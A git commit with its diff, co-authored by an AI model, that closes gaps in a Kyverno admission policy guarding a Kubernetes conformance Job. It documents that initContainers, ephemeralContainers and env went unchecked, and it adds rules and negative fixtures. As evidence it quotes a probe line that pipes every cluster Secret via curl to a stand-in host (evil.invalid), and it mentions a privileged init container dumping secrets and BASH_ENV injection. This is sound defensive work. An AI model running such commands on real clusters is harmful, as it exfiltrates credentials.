fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
This commit is contained in:
jakman85andClaude Opus 5 committed
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@@ -26,11 +26,21 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
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test lands. This is a **privileged test identity**: never reused by workloads, its own
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audit item.
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- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
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run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the
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run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
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commit under test; artifacts leave over stdout. Its header is the authority on the
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substitution tokens, the admission constraints it satisfies, and **an open security gap
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in the admission policy that it documents and does not exploit** — read it before
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editing either file.
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substitution tokens and the admission constraints it satisfies, and records the
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`initContainers` hole that was found and closed alongside it — read it before editing
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either file.
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- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's
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entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a
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file in the image rather than an inline script in the Job precisely so admission can pin
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it: a policy cannot tell the committed script from an attacker's when both are just `args`
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on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose,
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and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
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honoured — a URL taken from env would let the trigger choose which repository's code runs
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as `conformance-runner`. This branch's Job depends on that interface:
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`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
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(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
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## Flow
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1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
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@@ -39,12 +49,13 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
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pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
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2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
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fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
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3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit
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if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD`
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equals the requested SHA** — the suite runs at the commit under test or not at all. The
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read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret
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`conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows
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no volume but `workspace` and `results`.
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3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
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shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
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not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
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the suite runs at the commit under test or not at all. The read-only Gitea credential
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reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
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`username`/`token`), never as a volume: admission allows no volume but `workspace` and
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`results`.
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4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
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`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
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5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
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@@ -53,13 +64,20 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
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`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
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of decoding to plausible garbage.
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## Operator prerequisites (out of GitOps — neither exists yet)
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- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and
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## Prerequisites before this Job can run at all
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- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
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`token`: a **read-only** Gitea token for this repository. Never a write token or a
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push-capable deploy key.
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- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the
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trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and
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a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin.
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push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
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- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
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before this template is usable; its digest is what the trigger substitutes. Contract the
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image MUST meet, because the Job and the admission policy both depend on it:
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- bash, git, python3, chainsaw and kubectl on `PATH`;
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- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
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uid in the Containerfile means the Job will not start;
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- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
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mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
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that exact path, so an image without it cannot run the clone step and no other path will
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be admitted.
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## Phase 0
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No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
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@@ -39,42 +39,70 @@
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# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
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#
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# -----------------------------------------------------------------------------
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# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !!
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# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
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# -----------------------------------------------------------------------------
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# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template,
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# replace ONLY the init container's `args` with
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# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/
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# and leave `containers[0]` untouched and compliant. Result:
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# Applying 3 policy rule(s) to 1 resource(s)...
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# pass: 3, fail: 0, warn: 0, error: 0, skip: 0
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# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's
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# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never
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# examined, so the exact escalation the policy exists to stop — the privileged
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# conformance-runner SA executing an arbitrary command — is still reachable, one field
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# over. This template's OWN init container does not exploit that; the gap is the policy's,
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# and it existed before this file had an init container at all.
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# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
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# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
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# never examined, so the exact escalation the policy exists to stop was reachable one
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# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
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# compliant:
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#
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# * this template with ONLY the init container's args replaced by
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# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
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# * and (the coordinator's independent reproduction) a `privileged: true`
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# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
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#
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# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
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#
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# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
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#
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# Closed by new rules in that policy, authorised by the coordinator in this PR
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# (the original brief forbade policy edits; that was to stop the boundary being BENT to
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# fit a Job, not to stop a hole being closed):
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# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
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# container, on the digest-pinned runner image, `command:
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# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
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# not privileged. The clone logic moved OUT of this manifest and into the image for
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# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
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# script had to stop being caller-supplied data. It stays reviewable as
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# conformance/incluster/conformance-clone.
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# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
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# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
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# verified here, and the rule costs nothing if it is true.
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# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
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# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
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# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
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# sources it before running a non-interactive script. Names are allowlisted per container;
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# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
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# environment-specific, and conformance-runner can already read this namespace's Secrets
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# through its own RBAC, so pinning the source would buy nothing).
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#
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# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
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# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
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# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
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# `envfrom-whole-secret` — so they stay failing.
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#
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# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
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# committed shape" policy is only as good as its enumeration of every field that can carry
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# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
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# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
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# does, that is the finding, not an oversight to work around.
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#
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# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
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# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
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#
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# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs
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# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it.
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# FOLLOW-UP, in order of preference:
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# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and
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# add a 4th rule pinning `initContainers` to one container on the same digest-pinned
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# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an
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# init container carries no caller-supplied code at all and the rule is one pattern.
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# 2. Failing that, a rule denying any `initContainers` entry whose image is not the
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# pinned runner image — weaker (the script stays caller-supplied) but it at least
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# stops an arbitrary image running as conformance-runner.
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# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
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# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
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#
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# -----------------------------------------------------------------------------
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# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
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# -----------------------------------------------------------------------------
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# The placeholder syntax is deliberately NOT shell syntax. The init container below is a
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# bash script full of legitimate `${...}` references; running the template through
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# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving
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# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render
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# this". Render with a two-token sed, nothing cleverer:
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# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
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# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
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# that belongs to a script — a trap this file walked into while the clone logic was still an
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# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
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# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
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# with a two-token sed, nothing cleverer:
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#
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# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
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# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
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@@ -88,13 +116,39 @@
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# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
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# or an injected value is a hard failure, never a run of the wrong tree.
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#
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# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the
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# trigger REPLACES it wholesale per invocation shape —
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# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo",
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# "--requirements", "<touched R-IDs>"]
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# PHASE EXIT: ["--layer", "all", "--strict-coverage"]
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# Keeping it a committed list (not a substituted scalar) is what lets this file be handed
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# to `kyverno apply` as-is.
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# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
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# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
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# file be handed to `kyverno apply` as-is.
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#
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# -----------------------------------------------------------------------------
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# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
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# -----------------------------------------------------------------------------
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# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
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# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
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# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
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# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
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#
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# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
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# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
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#
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# so:
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# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
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# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
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# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
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# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
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# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
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# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
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# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
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#
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# The first three are measured working by the image build (PR #18); the last two are measured
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# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
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# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
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# The committed default below is the narrowest shape that works.
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#
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# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
|
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# security boundary should not encode which toolchain an image happens to ship, and the failure
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# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
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# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
|
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#
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# -----------------------------------------------------------------------------
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# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
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@@ -152,67 +206,25 @@ spec:
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# ---------------------------------------------------------------------
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# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
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#
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# The credential is a READ-ONLY Gitea token, referenced by secret name only. It
|
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# reaches git through an inline credential helper that reads the ENVIRONMENT, so
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# the token never appears in argv (where `ps` and the Pod spec would show it) and
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# is never written to disk.
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# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
|
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# conformance/incluster/conformance-clone and is baked into the runner image at
|
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# /usr/local/bin/conformance-clone. That is what makes the init container
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||||
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
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# `args: [<script>]`, no admission policy could distinguish the committed script
|
||||
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
|
||||
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
|
||||
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
|
||||
# pins this container to that one path with NO args, so it carries no
|
||||
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
|
||||
# and for why the repository URL is hardcoded THERE rather than passed in env.
|
||||
#
|
||||
# `--depth 1` clones the default branch; the commit under test is usually its tip
|
||||
# but must not be ASSUMED to be (the branch can advance between trigger and run,
|
||||
# and a PR head is not the default branch at all). So: clone shallow, and if the
|
||||
# SHA is not already present, fetch that one commit, then detach onto it and
|
||||
# ASSERT HEAD equals it. The suite runs at the commit under test or not at all.
|
||||
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
|
||||
# is not 40 hex characters before it touches the network.
|
||||
# ---------------------------------------------------------------------
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||
command: ["/bin/bash", "-c"]
|
||||
args:
|
||||
- |
|
||||
set -euo pipefail
|
||||
|
||||
# A bad SHA must never degrade into "ran whatever the branch tip was".
|
||||
if ! printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$'; then
|
||||
echo "FATAL: CONFORMANCE_GIT_SHA is not a 40-hex commit id." >&2
|
||||
echo " The CI trigger did not substitute it, or substituted junk." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mkdir -p "${TMPDIR}" "${HOME}"
|
||||
|
||||
# git's shell credential helper: invoked as `sh -c '<value> get'`, so it
|
||||
# reads $1 and answers from the environment only.
|
||||
CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
|
||||
|
||||
echo "==> shallow clone ${CONFORMANCE_REPO_URL}"
|
||||
git -c credential.helper="${CRED}" \
|
||||
clone --depth 1 --no-tags --single-branch \
|
||||
"${CONFORMANCE_REPO_URL}" "${CONFORMANCE_SRC}"
|
||||
|
||||
if ! git -C "${CONFORMANCE_SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
|
||||
echo "==> ${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
|
||||
git -C "${CONFORMANCE_SRC}" -c credential.helper="${CRED}" \
|
||||
fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
|
||||
fi
|
||||
|
||||
git -C "${CONFORMANCE_SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
|
||||
|
||||
head="$(git -C "${CONFORMANCE_SRC}" rev-parse HEAD)"
|
||||
if [ "${head}" != "${CONFORMANCE_GIT_SHA}" ]; then
|
||||
echo "FATAL: checked out ${head}, expected ${CONFORMANCE_GIT_SHA}." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
test -x "${CONFORMANCE_SRC}/conformance/run.sh" \
|
||||
|| { echo "FATAL: no executable conformance/run.sh at ${head}." >&2; exit 1; }
|
||||
|
||||
echo "==> suite ready at ${head}"
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
env:
|
||||
# The repository under test is a committed literal, not a substitution: a
|
||||
# template that lets the trigger choose the clone URL lets it choose the code.
|
||||
- name: CONFORMANCE_REPO_URL
|
||||
value: https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git
|
||||
- name: CONFORMANCE_SRC
|
||||
value: /workspace/src
|
||||
- name: CONFORMANCE_GIT_SHA
|
||||
value: "@@CONFORMANCE_GIT_SHA@@"
|
||||
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
|
||||
@@ -253,7 +265,8 @@ spec:
|
||||
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
|
||||
command: ["./run.sh"]
|
||||
# Replaced wholesale by the trigger per invocation shape (see the header).
|
||||
args: ["--layer", "all", "--strict-coverage"]
|
||||
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
|
||||
args: ["--layer", "l2,l3"]
|
||||
env:
|
||||
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
|
||||
# artifact tree onto the `results` volume. It cannot live at its default
|
||||
|
||||
Reference in new issue
Block a user